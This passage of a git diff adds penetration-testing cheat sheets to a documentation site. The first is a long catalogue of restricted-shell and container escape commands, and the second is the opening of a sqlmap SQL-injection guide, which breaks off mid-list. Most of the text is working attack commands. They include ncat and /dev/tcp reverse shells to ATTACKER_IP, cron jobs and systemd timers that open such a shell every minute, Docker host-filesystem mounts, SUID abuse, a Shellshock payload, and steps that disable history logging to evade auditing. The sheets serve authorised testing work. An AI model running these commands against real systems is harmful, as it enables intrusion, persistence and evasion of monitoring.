│ +│ Interpreter available? → Use it (Python/Perl/Ruby) │ +│ Editor available? → vi/vim :!/bin/bash │ +│ Pager available? → less/man then !/bin/bash │ +│ SSH access? → ssh user@localhost -t /bin/bash │ +│ GTFOBins? → Check any unusual binary │ +└─────────────────────────────────────────────────────────┘ +``` + +### Workflow B: Quick escalation path (when you know the shell type) + +``` +┌── Is it rbash? ──────────────────────────────────────┐ +│ YES → Try: vi → :set shell=/bin/bash → :shell │ +│ Try: python3 -c 'import os;os.system("bash")' │ +│ Try: ssh user@localhost -t /bin/bash │ +│ Try: cp /bin/bash . && ./bash │ +│ Try: export BASH_CMDS[sh]=/bin/bash && sh │ +├── Is it lshell? ─────────────────────────────────────┤ +│ YES → Try: echo os.system('/bin/bash') │ +│ Try: help → !/bin/bash (via pager) │ +├── Is it rksh / restricted ksh? ──────────────────────┤ +│ YES → Try: typeset -r restricted (unset flag) │ +│ Try: PATH=/bin:/usr/bin;export PATH;/bin/bash │ +│ Try: vi → :!/bin/bash │ +├── Is it chroot? ─────────────────────────────────────┤ +│ YES → Check for /bin/bash inside chroot │ +│ Mount real root if possible │ +│ Nested chroot escape with Python (needs root) │ +└──────────────────────────────────────────────────────┘ +``` + +--- + +## Restricted Shell Escape - SSH pre-login + +```bash +ssh user@host -t "/bin/bash" +``` + +Bypasses restricted shell by specifying bash directly with PTY allocation before login shell loads. + +```bash +ssh user@host -t "/bin/sh" +``` + +Spawns sh shell directly via SSH before restricted shell initialization. + +```bash +ssh user@host -t "bash --noprofile" +``` + +Skips profile files (/etc/profile, ~/.bash_profile) to bypass restrictions. + +```bash +ssh user@host -t "bash --norc" +``` + +Skips ~/.bashrc to avoid restricted shell configuration. + +```bash +ssh user@host -t "bash --noprofile --norc" +``` + +Skips both profile and rc files for maximum bypass coverage. + +```bash +ssh user@host -t '() { :; }; /bin/bash' +``` + +Exploits Shellshock vulnerability (CVE-2014-6271) to execute bash via malformed environment variable. + +--- + +## Restricted Shell Escape - SSH configuration + +```bash +ssh -o RequestTTY=yes user@host +``` + +Forces PTY allocation equivalent to -t flag for interactive shell. + +```bash +ssh -o PermitLocalCommand=yes -o LocalCommand="/bin/bash" user@host +``` + +Executes command on local machine after SSH connection establishes. + +```bash +ssh -o RemoteCommand="/bin/bash" user@host +``` + +Executes command on remote side after authentication bypassing restricted shell. + +```bash +ssh -o ProxyCommand='; /bin/bash' user@host +``` + +Abuses ProxyCommand by injecting shell metacharacters to spawn shell. + +--- + +## Restricted Shell Escape - vi/vim editors + +```bash +:!bash +``` + +From within vi/vim, executes bash shell command. + +```bash +:!/bin/bash +``` + +Spawns bash with full path from vi/vim command mode. + +```bash +:!/bin/sh +``` + +Spawns sh shell from vi/vim for compatibility. + +```bash +:set shell=/bin/bash +``` + +Changes vi/vim shell interpreter to bash. + +```bash +:shell +``` + +Spawns subshell using vi/vim's configured shell. + +```bash +:python import os; os.system('/bin/bash') +``` + +Executes Python code from vim to spawn bash (requires +python feature). + +```bash +:py import os; os.system('/bin/bash') +``` + +Shorter Python syntax for spawning bash from vim. + +```bash +:lua os.execute('/bin/bash') +``` + +Executes Lua code from vim to spawn bash (requires +lua feature). + +```bash +:!python3 -c 'import pty;pty.spawn("/bin/bash")' +``` + +Spawns a full PTY bash shell directly from vim command mode. + +--- + +## Restricted Shell Escape - ed/emacs/nano editors + +```bash +ed +!bash +``` + +From ed editor, executes bash shell command. + +```bash +emacs -Q -nw --eval '(term "/bin/sh")' +``` + +Spawns terminal emulator running sh from emacs using Lisp eval. + +```bash +emacs -Q -nw --eval '(shell)' +``` + +Opens a shell buffer in emacs using the default shell. + +```bash +nano +^R ^X +reset; bash 1>&0 2>&0 +``` + +From nano, reads command output to achieve RCE in specific scenarios. + +--- + +## Restricted Shell Escape - pagers (less/more/man) + +```bash +less /etc/profile +!/bin/bash +``` + +From less pager, executes bash shell command while viewing file. + +```bash +more /etc/profile +!/bin/bash +``` + +From more pager, spawns bash shell during file viewing. + +```bash +man ls +!/bin/bash +``` + +From man page viewer, executes bash (man uses less/more as pager). + +```bash +journalctl +!/bin/sh +``` + +From journalctl output, spawns shell via less pager invoked by journalctl. + +```bash +systemctl status sshd +!/bin/sh +``` + +From systemctl status output, escapes via less pager. + +```bash +git log +!/bin/sh +``` + +From git log output, spawns shell through less pager. + +```bash +apt-get changelog apt +!/bin/sh +``` + +From apt-get changelog, escapes via less pager showing package changelog. + +```bash +less /etc/profile +v +``` + +From less, pressing `v` opens the current file in the default editor (may be vi), from which you can escape further. + +--- + +## Restricted Shell Escape - Python + +```bash +python3 -c 'import os; os.system("/bin/bash")' +``` + +Executes bash using Python's os.system() method. + +```bash +python -c 'import os; os.system("/bin/bash")' +``` + +Python 2 version of os.system() shell execution. + +```bash +python3 -c 'import subprocess; subprocess.call(["/bin/bash"])' +``` + +Spawns bash using Python's subprocess module. + +```bash +python3 -c 'import pty; pty.spawn("/bin/bash")' +``` + +Creates interactive PTY with bash using Python's pty module. + +```bash +python3 +>>> import os +>>> os.system('/bin/bash') +``` + +From Python REPL, spawns bash interactively. + +```bash +python3 -c 'import os; os.execvp("/bin/bash", ["bash"])' +``` + +Replaces the Python process entirely with bash using execvp. + +--- + +## Restricted Shell Escape - Ruby/Perl/Lua/AWK + +```bash +ruby -e 'exec "/bin/bash"' +``` + +Replaces Ruby process with bash shell. + +```bash +irb +> exec '/bin/bash' +``` + +From Ruby REPL, replaces process with bash. + +```bash +perl -e 'exec "/bin/bash";' +``` + +Executes bash from Perl one-liner. + +```bash +lua -e 'os.execute("/bin/bash")' +``` + +Spawns bash using Lua's os.execute() function. + +```bash +awk 'BEGIN {system("/bin/bash")}' +``` + +Executes bash from AWK BEGIN block. + +```bash +php -r 'system("/bin/bash");' +``` + +Runs bash using PHP's system() function. + +```bash +node -e 'require("child_process").spawn("/bin/bash", {stdio: "inherit"})' +``` + +Spawns bash from Node.js with inherited stdio for interactivity. + +```bash +wish +exec /bin/bash & +``` + +From Tcl/Tk wish interpreter, executes bash. + +--- + +## Restricted Shell Escape - find + +```bash +find / -name "*.txt" -exec /bin/sh \; -quit +``` + +Uses find's -exec to spawn sh shell, quits after first match. + +```bash +find . -exec /bin/bash \; -quit +``` + +Spawns bash using find in current directory. + +```bash +find / -name somefile -exec /bin/bash -i \; +``` + +Executes interactive bash for each file found by find. + +--- + +## Restricted Shell Escape - tar + +```bash +tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/sh +``` + +Abuses tar checkpoint feature to execute sh after processing each file. + +```bash +tar xf /dev/null -I '/bin/sh' +``` + +Specifies sh as "compression program" via -I flag to spawn shell. + +```bash +tar xf archive.tar -I '/bin/sh -c "exec sh 0<&1"' +``` + +Uses -I flag with redirected file descriptors to maintain interactive shell. + +--- + +## Restricted Shell Escape - zip/unzip + +```bash +TF=$(mktemp -u) +zip $TF /etc/hosts -T -TT 'sh #' +rm $TF +``` + +Abuses zip's test feature (-T -TT) to inject and execute sh command. + +--- + +## Restricted Shell Escape - gcc/compilers + +```bash +gcc -wrapper /bin/sh,-s . +``` + +Abuses gcc's -wrapper flag to execute sh as compiler wrapper. + +```bash +gcc -wrapper /bin/bash,-s . +``` + +Uses bash as gcc wrapper to spawn shell. + +```bash +g++ -wrapper /bin/sh,-s . +``` + +Uses g++ wrapper feature to execute sh shell. + +--- + +## Restricted Shell Escape - scp + +```bash +TF=$(mktemp) +echo '/bin/sh 0<&2 1>&2' > $TF +chmod +x $TF +scp -S $TF x y: +``` + +Abuses scp's -S flag to specify malicious script as ssh replacement. + +```bash +scp -F /etc/passwd x y: +``` + +Uses -F flag to read arbitrary file (displays config file parsing). + +--- + +## Restricted Shell Escape - ftp/gdb/rpm + +```bash +ftp +ftp> !sh +``` + +From FTP client, executes sh shell command. + +```bash +ftp +ftp> !/bin/bash +``` + +Spawns bash from FTP client using ! escape. + +```bash +gdb -nx -ex '!sh' -ex quit +``` + +Executes sh from GDB using -ex flag without loading .gdbinit. + +```bash +gdb +(gdb) !sh +``` + +From GDB prompt, spawns sh shell. + +```bash +rpm --eval '%{lua:os.execute("/bin/sh")}' +``` + +Evaluates Lua code in RPM to execute sh shell. + +--- + +## Restricted Shell Escape - nmap + +```bash +nmap --interactive +nmap> !sh +``` + +Uses deprecated nmap interactive mode to spawn sh (only works on nmap <7.25). + +```bash +nmap --interactive +nmap> !bash +``` + +Spawns bash from nmap interactive mode on older versions. + +```bash +echo 'os.execute("/bin/bash")' > /tmp/nse.nse && nmap --script=/tmp/nse.nse +``` + +Writes a custom NSE (Lua) script that spawns bash, then executes it. Works on modern nmap versions. + +--- + +## Restricted Shell Escape - rsync + +```bash +rsync -e '/bin/sh -c "exec /bin/sh 0<&2 1>&2"' 127.0.0.1:/dev/null +``` + +Abuses rsync's -e flag to specify sh as remote shell with redirected file descriptors. + +```bash +rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null +``` + +Shorter syntax for rsync shell escape with maintained interactivity. + +--- + +## Restricted Shell Escape - tcpdump + +```bash +COMMAND='/bin/sh' +TF=$(mktemp) +echo "$COMMAND" > $TF +chmod +x $TF +tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF +``` + +Abuses tcpdump's -z postrotate command feature to execute script after capture rotation. + +--- + +## Restricted Shell Escape - package managers + +```bash +apt-get changelog apt +!/bin/sh +``` + +From apt-get changelog pager, spawns sh shell. + +```bash +TF=$(mktemp) +echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF +sudo apt-get install -c $TF sl +``` + +Abuses APT Dpkg Pre-Invoke hook to execute sh during package installation. + +```bash +sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh +``` + +Uses APT Update Pre-Invoke option to spawn sh shell. + +```bash +cpan +! exec '/bin/bash' +``` + +From CPAN Perl package manager, executes bash using ! escape. + +```bash +gem open -e "/bin/sh -c /bin/sh" rdoc +``` + +Abuses gem's editor flag to specify sh as "editor" for opening gems. + +```bash +pip install --pre --no-clean --log /tmp/pip.log /tmp/ 2>&1; /bin/bash +``` + +Chained pip failure with bash execution (context-dependent). + +--- + +## Restricted Shell Escape - database clients + +```bash +mysql -e '\! /bin/sh' +``` + +From MySQL command line, executes sh using ! escape. + +```bash +mysql +mysql> \! /bin/bash +``` + +Spawns bash from MySQL interactive prompt. + +```bash +psql +psql=> \! /bin/bash +``` + +Executes bash from PostgreSQL client using ! escape. + +```bash +sqlite3 +sqlite> .shell /bin/bash +``` + +Spawns bash from SQLite3 using .shell command. + +```bash +redis-cli +127.0.0.1:6379> EVAL 'return os.execute("/bin/bash")' 0 +``` + +Evaluates Lua code in Redis to execute bash. + +```bash +mongo +> db.eval('os.execute("/bin/bash")') +``` + +Executes JavaScript in MongoDB to spawn bash. + +--- + +## Restricted Shell Escape - systemd tools + +```bash +systemd-run -t /bin/bash +``` + +Creates transient systemd service running bash with TTY allocation. + +```bash +sudo systemd-run -t /bin/bash +``` + +Creates privileged transient service running bash. + +```bash +nsenter -t 1 -m -u -i -n /bin/sh +``` + +Enters PID 1's namespaces (mount, UTS, IPC, network) to escape restrictions. + +```bash +sudo nsenter -t 1 -m -u -i -n /bin/bash +``` + +Enters PID 1's namespaces with bash as privileged user. + +```bash +unshare -r /bin/bash +``` + +Creates new user namespace with root mapping and spawns bash. + +```bash +unshare /bin/bash +``` + +Creates new namespaces and spawns bash for sandbox escape. + +--- + +## Restricted Shell Escape - container tools + +```bash +docker run -v /:/mnt --rm -it alpine chroot /mnt sh +``` + +Mounts host root filesystem in container and chroots to it for host escape. + +```bash +docker run -v /:/hostfs --rm -it alpine /bin/sh +``` + +Mounts host filesystem to /hostfs in container for full host access. + +```bash +kubectl run -it --rm --restart=Never alpine --image=alpine -- sh +``` + +Creates temporary Kubernetes pod with alpine image and spawns interactive sh. + +```bash +kubectl run -it --rm --restart=Never busybox --image=busybox -- sh +``` + +Creates busybox pod in Kubernetes for interactive shell access. + +```bash +docker exec -it <CONTAINER_ID> /bin/bash +``` + +Attaches to a running container for interactive shell access. + +--- + +## Restricted Shell Escape - scheduling tools + +```bash +echo "/bin/sh" | at now +``` + +Schedules sh execution immediately using at command. + +```bash +echo "/bin/sh" | at now + 1 minute +``` + +Schedules sh execution in 1 minute to bypass restrictions. + +```bash +watch -x sh -c 'reset; exec sh 1>&0 2>&0' +``` + +Uses watch to repeatedly execute sh with redirected file descriptors. + +```bash +echo "/bin/sh" | xargs -I {} sh -c {} +``` + +Pipes sh invocation through xargs for execution. + +```bash +timeout --foreground 86400 /bin/bash +``` + +Uses timeout to execute bash with a long timeout, bypassing restrictions on direct execution. + +--- + +## Restricted Shell Escape - debugging tools + +```bash +strace -e 'trace=!all' -o /dev/null /bin/sh +``` + +Uses strace to execute sh while disabling trace output for performance. + +```bash +ltrace -b -e 'malloc' /bin/sh +``` + +Uses ltrace to execute sh while tracing minimal library calls. + +```bash +valgrind /bin/bash +``` + +Uses Valgrind to execute bash (noisy output but functional shell). + +--- + +## Restricted Shell Escape - git-shell + +```bash +git help config +!/bin/sh +``` + +From git help pager, spawns sh shell. + +```bash +git config core.pager '/bin/sh -c "/bin/sh 0<&1"' +git log +``` + +Sets git pager to sh and triggers via git log. + +```bash +export GIT_PAGER='/bin/sh' +git log +``` + +Overrides git pager via environment variable to spawn sh. + +```bash +PAGER='sh' git -p help +``` + +Sets PAGER inline for git help command to spawn sh. + +--- + +## Restricted Shell Escape - browser-based + +```bash +lynx +# Press 'o' for options, set editor to /bin/vi +# Edit textbox, then from vi: :!/bin/bash +``` + +From lynx browser, sets editor to vi then escapes from vi to bash. + +```bash +export EDITOR=/bin/vi +elinks +# Edit text field (e key), then from vi: :!/bin/bash +``` + +Sets EDITOR variable for elinks to use vi for escaping to bash. + +```bash +export VISUAL=/bin/vi +mail -s subject user@mail.com +# Type message, then ~v to invoke editor +# From vi: :!/bin/bash +``` + +Uses mail command with VISUAL variable to invoke vi then escape to bash. + +--- + +## Restricted Shell Escape - telnet + +```bash +telnet +telnet> !/bin/bash +``` + +From telnet client, executes bash using ! escape. + +```bash +telnet +^] +telnet> !sh +``` + +Uses Ctrl+] to reach telnet prompt then spawns sh. + +--- + +## Restricted Shell Escape - top + +```bash +echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >> ~/.config/procps/toprc +top +# Press 'x' +``` + +Modifies top config to bind sh execution to 'x' key. + +```bash +echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >> ~/.toprc +top +# Press 'x' +``` + +Legacy top config modification for older systems to bind sh to key. + +--- + +## Restricted Shell Escape - ncat + +```bash +ncat -lvnp 4444 --sh-exec /bin/bash +``` + +Creates ncat listener that executes bash via sh -c wrapper. + +```bash +ncat -lvnp 4444 -e /bin/bash +``` + +Ncat listener that directly executes bash for connections. + +```bash +ncat -lvnp 4444 -c /bin/bash +``` + +Ncat listener using -c flag to execute bash via shell. + +```bash +ncat ATTACKER_IP 4444 -e /bin/bash +``` + +Connects to listener and executes bash for reverse shell. + +--- + +## Restricted Shell Escape - ld.so + +```bash +/lib64/ld-linux-x86-64.so.2 /bin/bash +``` + +Directly invokes 64-bit dynamic linker to execute bash bypassing shell restrictions. + +```bash +/lib/x86_64-linux-gnu/ld-2.27.so /bin/bash +``` + +Alternative 64-bit dynamic linker path for Debian/Ubuntu systems. + +```bash +/lib/ld-linux.so.2 /bin/bash +``` + +32-bit dynamic linker invocation to spawn bash. + +```bash +/lib/i386-linux-gnu/ld-2.27.so /bin/bash +``` + +Alternative 32-bit dynamic linker path for Debian/Ubuntu systems. + +```bash +/lib64/ld-linux-x86-64.so.2 /usr/bin/python3 -c 'import os;os.system("/bin/bash")' +``` + +Chains dynamic linker with Python execution for double bypass. + +--- + +## Restricted Shell Escape - busybox + +```bash +busybox sh +``` + +Invokes sh applet from busybox multi-call binary. + +```bash +busybox bash +``` + +Attempts to invoke bash from busybox (if available). + +```bash +/bin/busybox sh +``` + +Full path invocation of busybox sh applet. + +```bash +busybox ash +``` + +Invokes ash (Almquist shell) from busybox, the default interactive shell on many embedded systems. + +--- + +## Restricted Shell Escape - screen/tmux + +```bash +screen -ls +``` + +Lists existing screen sessions that may provide shell access. + +```bash +screen -x [session] +``` + +Attaches to existing screen session (may have unrestricted shell). + +```bash +screen -r [session] +``` + +Resumes detached screen session. + +```bash +tmux ls +``` + +Lists tmux sessions for potential attachment. + +```bash +tmux attach +``` + +Attaches to last tmux session. + +```bash +tmux attach -t [name] +``` + +Attaches to specific named tmux session. + +```bash +screen +``` + +Simply launching screen may give an unrestricted shell if screen itself isn't restricted. + +--- + +## Restricted Shell Escape - environment variables + +```bash +export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +``` + +Restores full PATH to enable command execution by name. + +```bash +export PATH=/usr/bin:/bin +``` + +Minimal PATH restoration for basic command access. + +```bash +export SHELL=/bin/bash +$SHELL +``` + +Sets and executes SHELL variable to spawn bash. + +```bash +export PROMPT_COMMAND="/bin/bash" +``` + +Sets PROMPT_COMMAND to execute bash before each prompt. + +```bash +export BASH_CMDS[sh]=/bin/bash +sh +``` + +Maps 'sh' command to bash in command hash table. + +```bash +export LD_PRELOAD=/tmp/evil.so +/bin/any_program +``` + +Preloads malicious shared library that spawns shell in constructor. + +```bash +/bin/bash <&0 >&0 2>&0 +``` + +Spawns bash with all file descriptors redirected to maintain interactivity. + +```bash +export ENV=/tmp/shellscript +sh +``` + +Sets ENV variable to a script that runs when sh starts (for non-login shells). + +--- + +## Restricted Shell Escape - chroot/mount + +```bash +mkdir /tmp/subroot +cd /tmp/subroot +python -c 'import os; os.chroot("."); [os.chdir("..") for i in range(100)]; os.chroot("."); os.system("/bin/bash")' +``` + +Nested chroot technique to escape chroot jail using Python (requires root inside chroot). + +```bash +mkdir /mnt/real_root +mount /dev/sda1 /mnt/real_root +chroot /mnt/real_root /bin/bash +``` + +Mounts real root device and chroots to it for jail escape (requires root and device knowledge). + +--- + +## Restricted Shell Escape - rbash-specific + +```bash +cp /bin/bash . +./bash +``` + +Copies bash to local directory and executes to bypass PATH restrictions. + +```bash +python -c 'import os; os.system("/bin/bash")' +``` + +Uses Python to spawn bash bypassing rbash command restrictions. + +```bash +compgen -c +``` + +Lists available commands in restricted bash environment. + +```bash +echo /bin/* +``` + +Lists /bin contents without cd using echo and wildcards. + +```bash +vim +:set shell=/bin/bash +:shell +``` + +From vim, changes shell and spawns it to bypass rbash. + +```bash +bash -r +# This is what rbash is. Restrictions include: +# - Cannot cd +# - Cannot change PATH, SHELL, ENV, BASH_ENV +# - Cannot use / in commands +# - Cannot redirect output (>, >>) +# - Cannot use exec +# Test all of these to find what's actually enforced. +``` + +--- + +## Restricted Shell Escape - lshell-specific + +```bash +echo os.system('/bin/bash') +``` + +Injects Python code via echo in lshell (Python-based restricted shell). + +```bash +python -c 'import os; os.system("/bin/bash")' +``` + +Directly executes Python to spawn bash bypassing lshell. + +```bash +help +!/bin/bash +``` + +From lshell help pager, spawns bash via ! escape. + +--- + +## Restricted Shell Escape - kshell/rksh-specific + +```bash +# Check if running restricted ksh +echo $0 +# If rksh or ksh -r: + +# Try overriding PATH (may work in some versions) +PATH=/bin:/usr/bin +export PATH +/bin/bash + +# Try the EDITOR trick +EDITOR=/bin/bash +fc -e "${EDITOR}" + +# Use command substitution +$(bash) +``` + +rksh-specific escapes exploiting the EDITOR variable and fc (fix command) builtin. + +--- + +## Restricted Shell Escape - command enumeration + +```bash +compgen -c +``` + +Lists all available commands in current PATH. + +```bash +echo * +``` + +Lists files in current directory without using ls. + +```bash +echo /bin/* +``` + +Lists /bin directory contents using wildcard expansion. + +```bash +echo /usr/bin/* +``` + +Lists /usr/bin contents without cd or ls. + +```bash +printf '%s\n' * +``` + +Alternative file listing method using printf and wildcards. + +```bash +which python python3 perl ruby lua node php +``` + +Checks for available scripting language interpreters. + +```bash +env +``` + +Displays environment variables and their values. + +```bash +set +``` + +Shows all shell variables and functions. + +```bash +export +``` + +Lists exported environment variables. + +```bash +cat /etc/shells +``` + +Lists all valid login shells on the system. + +```bash +file /usr/bin/* 2>/dev/null | grep -i 'elf\|script\|executable' +``` + +Identifies binary types in /usr/bin to find useful executables. + +--- + +## Restricted Shell Escape - redirect workarounds + +```bash +echo "data" | tee filename +``` + +Writes to file using tee instead of > redirect. + +```bash +python -c 'open("file","w").write("data")' +``` + +Writes file using Python when output redirection is blocked. + +```bash +perl -e 'open(F,">file"); print F "data"; close(F);' +``` + +Writes file using Perl when redirects are unavailable. + +```bash +while read line; do echo $line; done < file +``` + +Reads file using while loop when cat is blocked. + +```bash +dd of=filename <<< "data" +``` + +Writes data to file using dd and herestring. + +```bash +cp /dev/stdin filename +``` + +Copies stdin to a file (type content, then Ctrl+D). + +--- + +## Restricted Shell Escape - cron/systemd timers + +```bash +# Check if you can write crontabs +crontab -l +crontab -e + +# If you can edit crontab: +# Add: * * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' + +# Check for writable cron directories +ls -la /etc/cron.d/ /etc/cron.daily/ /var/spool/cron/ +``` + +Cron-based escape by scheduling a reverse shell or unrestricted command. + +```bash +# Systemd timer abuse (if you can create user timers) +mkdir -p ~/.config/systemd/user/ +cat > ~/.config/systemd/user/escape.service << 'EOF' +[Service] +ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' +EOF +cat > ~/.config/systemd/user/escape.timer << 'EOF' +[Timer] +OnCalendar=*:*:00 +[Install] +WantedBy=timers.target +EOF +systemctl --user daemon-reload +systemctl --user start escape.timer +``` + +Creates a user-level systemd timer that fires a reverse shell every minute. + +--- + +## Restricted Shell Escape - setuid/capabilities abuse + +```bash +# Find SUID binaries +find / -perm -4000 -type f 2>/dev/null + +# Find binaries with capabilities +getcap -r / 2>/dev/null + +# Common SUID escapes (check GTFOBins for each): +# /usr/bin/find, /usr/bin/vim, /usr/bin/env, /usr/bin/awk +# /usr/bin/nmap, /usr/bin/python3, /usr/bin/perl + +# env with SUID: +/usr/bin/env /bin/bash -p + +# find with SUID: +find . -exec /bin/bash -p \; -quit + +# python3 with SUID: +python3 -c 'import os; os.execvp("/bin/bash", ["bash", "-p"])' + +# Capabilities escape (e.g., cap_setuid): +python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' +``` + +Locating and abusing SUID binaries and Linux capabilities to escape restrictions and escalate. + +--- + +## OPSEC Considerations + +```bash +export HISTFILE=/dev/null +``` + +Disables shell history logging by redirecting to /dev/null. + +```bash +unset HISTFILE +``` + +Removes HISTFILE variable to prevent history logging. + +```bash +set +o history +``` + +Disables history feature in current shell session. + +```bash +export HISTSIZE=0 +``` + +Sets history buffer size to 0, preventing storage in memory. + +```bash +kill -STOP $$ +``` + +Backgrounds current shell without using Ctrl+Z job control. + +```bash +reset +``` + +Restores terminal to normal mode after stty raw failure. + +```bash +stty sane +``` + +Resets terminal to sane state after raw mode issues. + +```bash +ps aux | grep -i 'audit\|log\|monitor' +``` + +Checks for audit and monitoring processes. + +```bash +who +``` + +Shows currently logged-in users for situational awareness. + +```bash +w +``` + +Displays who is logged in and what they are doing. + +```bash +cat /var/log/auth.log 2>/dev/null | tail -5 +``` + +Checks recent authentication log entries for your activity. + +```bash +loginctl list-sessions +``` + +Lists active login sessions via systemd. + +```bash +cat /proc/self/cgroup 2>/dev/null +``` + +Checks if you're inside a container (useful for container escape decisions). + +--- + +## Quick Decision Matrix + +|Situation|First try|Second try|Third try| +|---|---|---|---| +|Python available|`python3 -c 'import pty;pty.spawn("/bin/bash")'` + stty workflow|socat via upload|script| +|No Python, has script|`script -qc /bin/bash /dev/null` + stty workflow|Perl exec|expect| +|Nothing obvious|`which python3 perl ruby lua` then use first hit|`/lib64/ld-linux-x86-64.so.2 /bin/bash`|busybox sh| +|rbash|`vi` → `:set shell=/bin/bash` → `:shell`|`ssh user@localhost -t /bin/bash`|`BASH_CMDS[sh]=/bin/bash; sh`| +|lshell|`echo os.system('/bin/bash')`|`help` → `!/bin/bash`|python directly| +|Chroot jail (as root)|Mount real root + chroot|Nested chroot escape|Check for capabilities| +|Container (as root)|Mount host FS via docker socket|nsenter PID 1|Check for capabilities| +|Windows (PowerShell)|ConPtyShell|Meterpreter upgrade|rlwrap + powershell| +|Only nc on target|`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\|bash -i 2>&1\|nc ATTACKER PORT>/tmp/f`|Upload socat static binary|Upload ncat| + +--- + +## References + +1. [GTFOBins](https://gtfobins.github.io/) +2. [0xffsec Handbook - Restricted Shells](https://0xffsec.com/handbook/shells/restricted-shells/) +3. [HackTricks - Escaping from Limited Bash](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/escaping-from-limited-bash) +4. [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) +5. [Pentestmonkey Reverse Shell Cheat Sheet](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) +6. [IppSec TTY Upgrade Video](https://www.youtube.com/watch?v=DLzxrzFCOe0) +7. [Static Binaries Repository](https://github.com/andrew-d/static-binaries) +8. [ConPtyShell (antonioCoco)](https://github.com/antonioCoco/ConPtyShell) +9. [LOLBAS Project (Windows)](https://lolbas-project.github.io/) +10. [WADComs - Interactive Cheat Sheet](https://wadcoms.github.io/) + +#linux #shells #tty-upgrade #restricted-shell #privilege-escalation #post-exploitation #rbash #lshell #ssh #gtfobins #opsec #container-escape diff --git a/src/content/sheets/exploitation/sqlmap-cheat-sheet-sql-injection-testing-data-extraction.md b/src/content/sheets/exploitation/sqlmap-cheat-sheet-sql-injection-testing-data-extraction.md @@ -0,0 +1,506 @@ +--- +title: "sqlmap Cheat Sheet - SQL Injection Testing & Data Extraction" +description: "sqlmap -u \"http://target.com/page.php?id=1\"" +category: exploitation +tags: ["exploitation", "sql-injection"] +tools: ["Hashcat", "John", "SQLMap"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Exploitation/sqlmap Cheat Sheet - SQL Injection Testing & Data Extraction.md" +--- +# Basic GET parameter test +sqlmap -u "http://target.com/page.php?id=1" +``` +*Tests the `id` parameter for SQL injection using default detection techniques* + +```bash +# Non-interactive mode (auto-answer prompts) +sqlmap -u "http://target.com/page.php?id=1" --batch +``` +*Automatically accepts default answers to all prompts for unattended scanning* + +```bash +# POST data test +sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --batch +``` +*Tests POST parameters in request body (common for login forms)* + +```bash +# Cookie-based test (requires --level 2+) +sqlmap -u "http://target.com/dashboard.php" --cookie="PHPSESSID=abc123; user=admin" --level=2 --batch +``` +*Tests cookie values for SQL injection (requires elevated test level)* + +```bash +# Test from Burp request file +sqlmap -r request.txt --batch +``` +*Loads full HTTP request from file (preserves headers, body, method)* + +```bash +# Test specific parameter only +sqlmap -u "http://target.com/page.php?id=1&name=test" -p id --batch +``` +*Focuses testing on the `id` parameter, ignoring `name`* + +--- + +### Options & Flags + +| Flag | Purpose | +|:---|:---| +| **-u URL** | Target URL with parameters | +| **--data="param=val&param2=val2"** | POST body data | +| **--cookie="name=value; name2=value2"** | Cookie values (semicolon separator) | +| **-p PARAM** | Test only this parameter | +| **-r FILE** | Load HTTP request from file (e.g., from Burp) | +| **--batch** | Never ask for user input (accept defaults) | +| **--level=N** | Test depth 1–5 (default 1; cookies at 2+, User-Agent/Referer at 3+) | +| **--risk=N** | Payload aggressiveness 1–3 (default 1; higher = more destructive/false positives) | +| **--technique=BEUST** | Limit injection techniques (B=boolean-blind, E=error, U=union, S=stacked, T=time-blind, Q=inline) | +| **--random-agent** | Randomise User-Agent header | +| **--threads=N** | Concurrent requests (default 1) | +| **--dbms=DBMS** | Force DBMS type (MySQL, PostgreSQL, MSSQL, Oracle, etc.) | +| **--flush-session** | Ignore saved session data, start fresh | +| **--parse-errors** | Display DBMS error messages from responses | +| **-t FILE** | Log all HTTP traffic to file | + +--- + +### Practical Examples + +```bash +# Quick GET test with auto-defaults +sqlmap -u "http://example.com/product.php?id=5" --batch +``` +*Standard automated scan with default settings* + +```bash +# POST login form test, faster with threads +sqlmap -u "http://example.com/login.php" --data="user=admin&pass=1234" --batch --threads=5 +``` +*Accelerates testing using 5 concurrent threads* + +```bash +# Cookie test with increased level and risk +sqlmap -u "http://example.com/dashboard.php" --cookie="sessionid=xyz789" --level=3 --risk=2 --batch +``` +*Deeper testing including User-Agent/Referer headers with more aggressive payloads* + +```bash +# Test from Burp capture, limit to UNION/error techniques +sqlmap -r burp_request.txt --technique=UE --batch +``` +*Faster testing by excluding time-based blind techniques* + +```bash +# Force MySQL DBMS, randomise User-Agent +sqlmap -u "http://example.com/search.php?q=test" --dbms=MySQL --random-agent --batch +``` +*Skips DBMS fingerprinting and evades basic User-Agent filtering* + +```bash +# Test only 'id' parameter, exclude time-based (faster) +sqlmap -u "http://example.com/item.php?id=10&cat=2" -p id --technique=BEU --batch +``` +*Targeted test on single parameter without slow time-based blind payloads* + +--- + +### Output Interpretation + +| Output | Meaning | +|:---|:---| +| **parameter 'X' is vulnerable** | SQL injection confirmed in parameter X | +| **parameter appears to be injectable** | High confidence of vulnerability | +| **Injection type** | Boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries | +| **DBMS fingerprint** | MySQL 5.x, PostgreSQL 9.x, MSSQL 2012, etc. | +| **Payload** | Successful injection payload displayed | +| **all tested parameters do not appear to be injectable** | No vulnerability detected; try `--level=5 --risk=3` | +| **Session saved** | Results cached; re-run skips already-tested parameters unless `--flush-session` used | +| **Output location** | Results saved to `~/.local/share/sqlmap/output/` (newer Kali) or `~/.sqlmap/output/` (older Kali) | + +--- + +### OPSEC & Detection Considerations + +1. **High request volume**: sqlmap generates numerous requests, easily detected by IDS/IPS/WAF +2. 